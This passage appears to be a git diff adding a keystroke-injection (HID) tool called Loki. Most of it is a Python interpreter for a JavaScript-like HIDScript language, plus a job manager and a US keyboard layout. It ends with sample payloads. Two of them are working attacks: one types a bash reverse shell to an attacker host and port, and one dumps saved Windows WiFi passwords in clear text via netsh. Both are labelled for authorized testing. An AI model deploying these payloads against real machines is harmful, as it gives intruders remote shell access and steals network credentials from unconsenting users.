next_pos = semi + 1
# Check for else
else_body = None
check = self._skip_ws(source, next_pos)
if source[check:check+4] == 'else':
after_else = self._skip_ws(source, check + 4)
if after_else < len(source) and source[after_else] == '{':
eb_end = self._find_matching_brace(source, after_else)
else_body = source[after_else+1:eb_end]
next_pos = eb_end + 1
elif source[after_else:after_else+2] == 'if':
# else if — parse recursively
inner_if, next_pos = self._parse_if(source, after_else)
else_body = inner_if # will be a dict, handle in exec
else:
semi = source.find(';', after_else)
if semi == -1:
semi = len(source)
else_body = source[after_else:semi]
next_pos = semi + 1
return {"type": "if", "cond": cond, "body": body, "else": else_body}, next_pos
# ── Executor ───────────────────────────────────────────────
def _exec_stmts(self, stmts: list):
"""Execute a list of parsed statements."""
for stmt in stmts:
if self._stop.is_set():
return
stype = stmt["type"]
if stype == "assign":
self._vars[stmt["name"]] = self._eval_expr(stmt["expr"])
elif stype == "expr":
self._eval_expr(stmt["expr"])
elif stype == "for":
self._exec_for(stmt)
elif stype == "while":
self._exec_while(stmt)
elif stype == "if":
self._exec_if(stmt)
def _exec_for(self, stmt):
"""Execute a for loop."""
# Parse init as assignment
init = stmt["init"]
eq = init.find('=')
if eq >= 0:
name = init[:eq].strip()
self._vars[name] = self._eval_expr(init[eq+1:].strip())
max_iterations = 100000
i = 0
while i < max_iterations:
if self._stop.is_set():
return
if not self._eval_expr(stmt["cond"]):
break
self._exec_stmts(self._parse_block(stmt["body"]))
# Execute increment
incr = stmt["incr"]
if "++" in incr:
var_name = incr.replace("++", "").strip()
self._vars[var_name] = self._vars.get(var_name, 0) + 1
elif "--" in incr:
var_name = incr.replace("--", "").strip()
self._vars[var_name] = self._vars.get(var_name, 0) - 1
else:
eq = incr.find('=')
if eq >= 0:
name = incr[:eq].strip()
self._vars[name] = self._eval_expr(incr[eq+1:].strip())
i += 1
def _exec_while(self, stmt):
"""Execute a while loop."""
max_iterations = 1000000
i = 0
while i < max_iterations:
if self._stop.is_set():
return
if not self._eval_expr(stmt["cond"]):
break
self._exec_stmts(self._parse_block(stmt["body"]))
i += 1
def _exec_if(self, stmt):
"""Execute an if/else statement."""
if self._eval_expr(stmt["cond"]):
self._exec_stmts(self._parse_block(stmt["body"]))
elif stmt.get("else"):
else_part = stmt["else"]
if isinstance(else_part, dict):
# else if
self._exec_if(else_part)
else:
self._exec_stmts(self._parse_block(else_part))
# ── Expression Evaluator ───────────────────────────────────
def _eval_expr(self, expr):
"""Evaluate an expression string and return its value."""
if isinstance(expr, (int, float, bool)):
return expr
if not isinstance(expr, str):
return expr
expr = expr.strip()
if not expr:
return None
# String literal
if (expr.startswith('"') and expr.endswith('"')) or \
(expr.startswith("'") and expr.endswith("'")):
return self._unescape(expr[1:-1])
# Numeric literal
try:
if '.' in expr:
return float(expr)
return int(expr)
except ValueError:
pass
# Boolean / null
if expr == 'true':
return True
if expr == 'false':
return False
if expr == 'null':
return None
# String concatenation with +
if self._has_top_level_op(expr, '+') and self._contains_string(expr):
parts = self._split_top_level(expr, '+')
result = ""
for p in parts:
val = self._eval_expr(p.strip())
result += str(val) if val is not None else ""
return result
# Comparison operators
for op in ['===', '!==', '==', '!=', '>=', '<=', '>', '<']:
if self._has_top_level_op(expr, op):
parts = self._split_top_level(expr, op, max_splits=1)
if len(parts) == 2:
left = self._eval_expr(parts[0].strip())
right = self._eval_expr(parts[1].strip())
if op in ('==', '==='):
return left == right
elif op in ('!=', '!=='):
return left != right
elif op == '>':
return left > right
elif op == '<':
return left < right
elif op == '>=':
return left >= right
elif op == '<=':
return left <= right
# Logical operators
if self._has_top_level_op(expr, '&&'):
parts = self._split_top_level(expr, '&&', max_splits=1)
return self._eval_expr(parts[0]) and self._eval_expr(parts[1])
if self._has_top_level_op(expr, '||'):
parts = self._split_top_level(expr, '||', max_splits=1)
return self._eval_expr(parts[0]) or self._eval_expr(parts[1])
# Arithmetic
for op in ['+', '-']:
if self._has_top_level_op(expr, op) and not self._contains_string(expr):
parts = self._split_top_level(expr, op)
result = self._eval_expr(parts[0].strip())
for p in parts[1:]:
val = self._eval_expr(p.strip())
if op == '+':
result = (result or 0) + (val or 0)
else:
result = (result or 0) - (val or 0)
return result
for op in ['*', '/']:
if self._has_top_level_op(expr, op):
parts = self._split_top_level(expr, op)
result = self._eval_expr(parts[0].strip())
for p in parts[1:]:
val = self._eval_expr(p.strip())
if op == '*':
result = (result or 0) * (val or 0)
else:
result = (result or 0) / (val or 1)
return result
# Modulo
if self._has_top_level_op(expr, '%'):
parts = self._split_top_level(expr, '%')
result = self._eval_expr(parts[0].strip())
for p in parts[1:]:
val = self._eval_expr(p.strip())
result = (result or 0) % (val or 1)
return result
# Negation
if expr.startswith('!'):
return not self._eval_expr(expr[1:])
# Parenthesized expression
if expr.startswith('(') and self._find_matching_paren(expr, 0) == len(expr) - 1:
return self._eval_expr(expr[1:-1])
# Function call
m = re.match(r'^([a-zA-Z_][\w.]*)\s*\(', expr)
if m:
func_name = m.group(1)
p_start = expr.index('(')
p_end = self._find_matching_paren(expr, p_start)
args_str = expr[p_start+1:p_end]
args = self._parse_args(args_str)
return self._call_func(func_name, args)
# Variable reference
if re.match(r'^[a-zA-Z_]\w*$', expr):
return self._vars.get(expr, 0)
# Increment/decrement as expression
if expr.endswith('++'):
name = expr[:-2].strip()
val = self._vars.get(name, 0)
self._vars[name] = val + 1
return val
if expr.endswith('--'):
name = expr[:-2].strip()
val = self._vars.get(name, 0)
self._vars[name] = val - 1
return val
logger.warning("Cannot evaluate expression: %r", expr)
return 0
# ── Built-in Functions ─────────────────────────────────────
def _call_func(self, name: str, args: list):
"""Dispatch a built-in function call."""
# Evaluate all arguments
evaled = [self._eval_expr(a) for a in args]
if name == "type":
text = str(evaled[0]) if evaled else ""
self.hid.type_string(text, stop_event=self._stop)
elif name == "press":
combo = str(evaled[0]) if evaled else ""
self.hid.press_combo(combo)
elif name == "delay":
ms = int(evaled[0]) if evaled else 0
if ms > 0:
self._stop.wait(ms / 1000.0)
elif name == "layout":
name_val = str(evaled[0]) if evaled else self._default_layout
self.hid.set_layout(name_val)
elif name == "typingSpeed":
min_ms = int(evaled[0]) if len(evaled) > 0 else 0
max_ms = int(evaled[1]) if len(evaled) > 1 else min_ms
self.hid.set_typing_speed(min_ms, max_ms)
elif name == "move":
x = int(evaled[0]) if len(evaled) > 0 else 0
y = int(evaled[1]) if len(evaled) > 1 else 0
self.hid.mouse_move(x, y)
elif name == "moveTo":
x = int(evaled[0]) if len(evaled) > 0 else 0
y = int(evaled[1]) if len(evaled) > 1 else 0
self.hid.mouse_move_stepped(x, y, step=5)
elif name == "moveStepped":
x = int(evaled[0]) if len(evaled) > 0 else 0
y = int(evaled[1]) if len(evaled) > 1 else 0
step = int(evaled[2]) if len(evaled) > 2 else 10
self.hid.mouse_move_stepped(x, y, step=step)
elif name == "click":
btn = int(evaled[0]) if evaled else BT1
self.hid.mouse_click(btn)
elif name == "doubleClick":
btn = int(evaled[0]) if evaled else BT1
self.hid.mouse_double_click(btn)
elif name == "button":
mask = int(evaled[0]) if evaled else 0
self.hid.send_mouse_report(mask, 0, 0)
elif name == "waitLED":
mask = int(evaled[0]) if evaled else ANY
timeout = float(evaled[1]) / 1000 if len(evaled) > 1 else 0
return self.hid.wait_led(mask, self._stop, timeout)
elif name == "waitLEDRepeat":
mask = int(evaled[0]) if evaled else ANY
count = int(evaled[1]) if len(evaled) > 1 else 1
return self.hid.wait_led_repeat(mask, count, self._stop)
elif name == "console.log" or name == "log":
msg = " ".join(str(a) for a in evaled)
self._output.append(msg)
logger.debug("[HIDScript] %s", msg)
elif name in ("parseInt", "Number"):
try:
return int(float(evaled[0])) if evaled else 0
except (ValueError, TypeError):
return 0
elif name == "String":
return str(evaled[0]) if evaled else ""
elif name == "Math.random":
import random
return random.random()
elif name == "Math.floor":
import math
return math.floor(evaled[0]) if evaled else 0
else:
logger.warning("Unknown function: %s", name)
return None
return None
# ── Helpers ────────────────────────────────────────────────
def _parse_args(self, args_str: str) -> list:
"""Split function arguments respecting string literals and parens."""
args = []
depth = 0
current = ""
in_str = None
for ch in args_str:
if in_str:
current += ch
if ch == in_str and (len(current) < 2 or current[-2] != '\\'):
in_str = None
elif ch in ('"', "'"):
in_str = ch
current += ch
elif ch == '(':
depth += 1
current += ch
elif ch == ')':
depth -= 1
current += ch
elif ch == ',' and depth == 0:
if current.strip():
args.append(current.strip())
current = ""
else:
current += ch
if current.strip():
args.append(current.strip())
return args
def _unescape(self, s: str) -> str:
"""Process escape sequences in a string."""
return s.replace('\\n', '\n').replace('\\t', '\t').replace('\\r', '\r') \
.replace('\\"', '"').replace("\\'", "'").replace('\\\\', '\\')
def _skip_ws(self, source: str, pos: int) -> int:
"""Skip whitespace."""
while pos < len(source) and source[pos] in ' \t\n\r':
pos += 1
return pos
def _find_matching_brace(self, source: str, pos: int) -> int:
"""Find matching } for { at pos."""
depth = 1
i = pos + 1
in_str = None
while i < len(source):
ch = source[i]
if in_str:
if ch == in_str and source[i-1] != '\\':
in_str = None
elif ch in ('"', "'"):
in_str = ch
elif ch == '{':
depth += 1
elif ch == '}':
depth -= 1
if depth == 0:
return i
i += 1
return len(source) - 1
def _find_matching_paren(self, source: str, pos: int) -> int:
"""Find matching ) for ( at pos."""
depth = 1
i = pos + 1
in_str = None
while i < len(source):
ch = source[i]
if in_str:
if ch == in_str and source[i-1] != '\\':
in_str = None
elif ch in ('"', "'"):
in_str = ch
elif ch == '(':
depth += 1
elif ch == ')':
depth -= 1
if depth == 0:
return i
i += 1
return len(source) - 1
def _has_top_level_op(self, expr: str, op: str) -> bool:
"""Check if operator exists at top level (not inside parens/strings)."""
depth = 0
in_str = None
i = 0
while i < len(expr):
ch = expr[i]
if in_str:
if ch == in_str and (i == 0 or expr[i-1] != '\\'):
in_str = None
elif ch in ('"', "'"):
in_str = ch
elif ch == '(':
depth += 1
elif ch == ')':
depth -= 1
elif depth == 0 and expr[i:i+len(op)] == op:
# Don't match multi-char ops that are substrings of longer ones
if len(op) == 1 and op in '+-':
# Skip if part of ++ or --
if i + 1 < len(expr) and expr[i+1] == op:
i += 2
continue
if i > 0 and expr[i-1] == op:
i += 1
continue
return True
i += 1
return False
def _split_top_level(self, expr: str, op: str, max_splits: int = -1) -> list:
"""Split expression by operator at top level only."""
parts = []
depth = 0
in_str = None
current = ""
i = 0
splits = 0
while i < len(expr):
ch = expr[i]
if in_str:
current += ch
if ch == in_str and (i == 0 or expr[i-1] != '\\'):
in_str = None
elif ch in ('"', "'"):
in_str = ch
current += ch
elif ch == '(':
depth += 1
current += ch
elif ch == ')':
depth -= 1
current += ch
elif depth == 0 and expr[i:i+len(op)] == op and (max_splits < 0 or splits < max_splits):
# Don't split on ++ or -- when looking for + or -
if len(op) == 1 and op in '+-':
if i + 1 < len(expr) and expr[i+1] == op:
current += ch
i += 1
current += expr[i]
i += 1
continue
parts.append(current)
current = ""
i += len(op)
splits += 1
continue
else:
current += ch
i += 1
parts.append(current)
return parts
def _contains_string(self, expr: str) -> bool:
"""Check if expression contains a string literal at top level."""
depth = 0
in_str = None
for ch in expr:
if in_str:
if ch == in_str:
return True # Found complete string
elif ch in ('"', "'"):
in_str = ch
elif ch == '(':
depth += 1
elif ch == ')':
depth -= 1
return False

162
loki/jobs.py Normal file
View File

@@ -0,0 +1,162 @@
"""
Loki job manager — tracks HIDScript execution jobs.
Each job runs in its own daemon thread.
"""
import uuid
import time
import logging
import traceback
from datetime import datetime
from threading import Thread, Event
from logger import Logger
logger = Logger(name="loki.jobs", level=logging.DEBUG)
class LokiJobManager:
"""Manages HIDScript job lifecycle."""
def __init__(self, engine):
self.engine = engine
self._jobs = {} # job_id → job dict
self._threads = {} # job_id → Thread
self._stops = {} # job_id → Event
def create_job(self, script_name: str, script_content: str) -> str:
"""Create and start a new job. Returns job_id (UUID)."""
job_id = str(uuid.uuid4())[:8]
now = datetime.now().isoformat()
job = {
"id": job_id,
"script_name": script_name,
"status": "pending",
"output": "",
"error": "",
"started_at": None,
"finished_at": None,
"created_at": now,
}
self._jobs[job_id] = job
stop = Event()
self._stops[job_id] = stop
# Persist to DB
try:
db = self.engine.shared_data.db
db.execute(
"INSERT INTO loki_jobs (id, script_name, status, created_at) VALUES (?, ?, ?, ?)",
(job_id, script_name, "pending", now)
)
except Exception as e:
logger.error("DB insert job error: %s", e)
# Start execution thread
t = Thread(
target=self._run_job,
args=(job_id, script_content, stop),
daemon=True,
name=f"loki-job-{job_id}",
)
self._threads[job_id] = t
t.start()
logger.info("Job %s created: %s", job_id, script_name)
return job_id
def cancel_job(self, job_id: str) -> bool:
"""Cancel a running job."""
stop = self._stops.get(job_id)
if stop:
stop.set()
job = self._jobs.get(job_id)
if job and job["status"] == "running":
job["status"] = "cancelled"
job["finished_at"] = datetime.now().isoformat()
self._update_db(job_id, "cancelled", job.get("output", ""), "Cancelled by user")
logger.info("Job %s cancelled", job_id)
return True
return False
def get_all_jobs(self) -> list:
"""Return list of all jobs (most recent first)."""
jobs = list(self._jobs.values())
jobs.sort(key=lambda j: j.get("created_at", ""), reverse=True)
return jobs
def get_job(self, job_id: str) -> dict:
"""Get a single job by ID."""
return self._jobs.get(job_id)
def clear_completed(self):
"""Remove finished/failed/cancelled jobs from memory."""
to_remove = [
jid for jid, j in self._jobs.items()
if j["status"] in ("succeeded", "failed", "cancelled")
]
for jid in to_remove:
self._jobs.pop(jid, None)
self._threads.pop(jid, None)
self._stops.pop(jid, None)
try:
self.engine.shared_data.db.execute(
"DELETE FROM loki_jobs WHERE status IN ('succeeded', 'failed', 'cancelled')"
)
except Exception as e:
logger.error("DB clear jobs error: %s", e)
@property
def running_count(self) -> int:
return sum(1 for j in self._jobs.values() if j["status"] == "running")
# ── Internal ───────────────────────────────────────────────
def _run_job(self, job_id: str, script_content: str, stop: Event):
"""Execute a HIDScript in this thread."""
job = self._jobs[job_id]
job["status"] = "running"
job["started_at"] = datetime.now().isoformat()
self._update_db(job_id, "running")
try:
from loki.hidscript import HIDScriptParser
parser = HIDScriptParser(self.engine.hid_controller)
output_lines = parser.execute(script_content, stop_event=stop, job_id=job_id)
if stop.is_set():
job["status"] = "cancelled"
else:
job["status"] = "succeeded"
job["output"] = "\n".join(output_lines)
except Exception as e:
job["status"] = "failed"
job["error"] = str(e)
job["output"] = traceback.format_exc()
logger.error("Job %s failed: %s", job_id, e)
finally:
job["finished_at"] = datetime.now().isoformat()
self._update_db(
job_id, job["status"],
job.get("output", ""),
job.get("error", ""),
)
logger.info("Job %s finished: %s", job_id, job["status"])
def _update_db(self, job_id: str, status: str, output: str = "", error: str = ""):
"""Persist job state to database."""
try:
db = self.engine.shared_data.db
db.execute(
"UPDATE loki_jobs SET status=?, output=?, error=?, "
"started_at=?, finished_at=? WHERE id=?",
(status, output, error,
self._jobs.get(job_id, {}).get("started_at"),
self._jobs.get(job_id, {}).get("finished_at"),
job_id)
)
except Exception as e:
logger.error("DB update job error: %s", e)

45
loki/layouts/__init__.py Normal file
View File

@@ -0,0 +1,45 @@
"""
Keyboard layout loader for Loki HID subsystem.
Caches loaded layouts in memory.
"""
import json
import os
import logging
from logger import Logger
logger = Logger(name="loki.layouts", level=logging.DEBUG)
_LAYOUT_DIR = os.path.dirname(os.path.abspath(__file__))
_cache = {}
def load(name: str = "us") -> dict:
"""Load a keyboard layout by name. Returns char → (modifier, keycode) map."""
name = name.lower()
if name in _cache:
return _cache[name]
path = os.path.join(_LAYOUT_DIR, f"{name}.json")
if not os.path.isfile(path):
logger.warning("Layout '%s' not found, falling back to 'us'", name)
path = os.path.join(_LAYOUT_DIR, "us.json")
name = "us"
if name in _cache:
return _cache[name]
with open(path, "r") as f:
data = json.load(f)
_cache[name] = data
logger.debug("Loaded keyboard layout '%s' (%d chars)", name, len(data))
return data
def available() -> list:
"""List available layout names."""
layouts = []
for f in os.listdir(_LAYOUT_DIR):
if f.endswith(".json"):
layouts.append(f[:-5])
return sorted(layouts)

41
loki/layouts/us.json Normal file
View File

@@ -0,0 +1,41 @@
{
"a": [0, 4], "b": [0, 5], "c": [0, 6], "d": [0, 7],
"e": [0, 8], "f": [0, 9], "g": [0, 10], "h": [0, 11],
"i": [0, 12], "j": [0, 13], "k": [0, 14], "l": [0, 15],
"m": [0, 16], "n": [0, 17], "o": [0, 18], "p": [0, 19],
"q": [0, 20], "r": [0, 21], "s": [0, 22], "t": [0, 23],
"u": [0, 24], "v": [0, 25], "w": [0, 26], "x": [0, 27],
"y": [0, 28], "z": [0, 29],
"A": [2, 4], "B": [2, 5], "C": [2, 6], "D": [2, 7],
"E": [2, 8], "F": [2, 9], "G": [2, 10], "H": [2, 11],
"I": [2, 12], "J": [2, 13], "K": [2, 14], "L": [2, 15],
"M": [2, 16], "N": [2, 17], "O": [2, 18], "P": [2, 19],
"Q": [2, 20], "R": [2, 21], "S": [2, 22], "T": [2, 23],
"U": [2, 24], "V": [2, 25], "W": [2, 26], "X": [2, 27],
"Y": [2, 28], "Z": [2, 29],
"1": [0, 30], "2": [0, 31], "3": [0, 32], "4": [0, 33],
"5": [0, 34], "6": [0, 35], "7": [0, 36], "8": [0, 37],
"9": [0, 38], "0": [0, 39],
"!": [2, 30], "@": [2, 31], "#": [2, 32], "$": [2, 33],
"%": [2, 34], "^": [2, 35], "&": [2, 36], "*": [2, 37],
"(": [2, 38], ")": [2, 39],
"\n": [0, 40], "\r": [0, 40],
"\t": [0, 43],
" ": [0, 44],
"-": [0, 45], "_": [2, 45],
"=": [0, 46], "+": [2, 46],
"[": [0, 47], "{": [2, 47],
"]": [0, 48], "}": [2, 48],
"\\": [0, 49], "|": [2, 49],
";": [0, 51], ":": [2, 51],
"'": [0, 52], "\"": [2, 52],
"`": [0, 53], "~": [2, 53],
",": [0, 54], "<": [2, 54],
".": [0, 55], ">": [2, 55],
"/": [0, 56], "?": [2, 56]
}

View File

@@ -0,0 +1,9 @@
// Hello World — Test payload that types a message in Notepad (Windows)
layout('us');
delay(1000);
press("GUI r");
delay(500);
type("notepad\n");
delay(1000);
type("Hello from Bjorn Loki!\n");
type("HID injection is working.\n");

View File

@@ -0,0 +1,13 @@
// Reverse Shell (Linux) — Bash reverse TCP. Set LHOST/LPORT before use.
// WARNING: For authorized penetration testing only.
var LHOST = "CHANGE_ME";
var LPORT = "4444";
layout('us');
delay(1000);
// Open terminal (Ctrl+Alt+T is common on Ubuntu/Debian)
press("CTRL ALT t");
delay(1500);
type("bash -i >& /dev/tcp/" + LHOST + "/" + LPORT + " 0>&1\n");

View File

@@ -0,0 +1,6 @@
// Rickroll — Opens browser to a famous URL (harmless test)
layout('us');
delay(1000);
press("GUI r");
delay(500);
type("https://www.youtube.com/watch?v=dQw4w9WgXcQ\n");

View File

@@ -0,0 +1,20 @@
// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
// WARNING: For authorized penetration testing only.
layout('us');
delay(1000);
// Open CMD
press("GUI r");
delay(500);
type("cmd\n");
delay(1000);
// Export all WiFi profiles with keys to a file
type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
delay(3000);
// Show WiFi passwords inline
type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
delay(5000);
console.log("WiFi profiles exported to C:\\Users\\Public");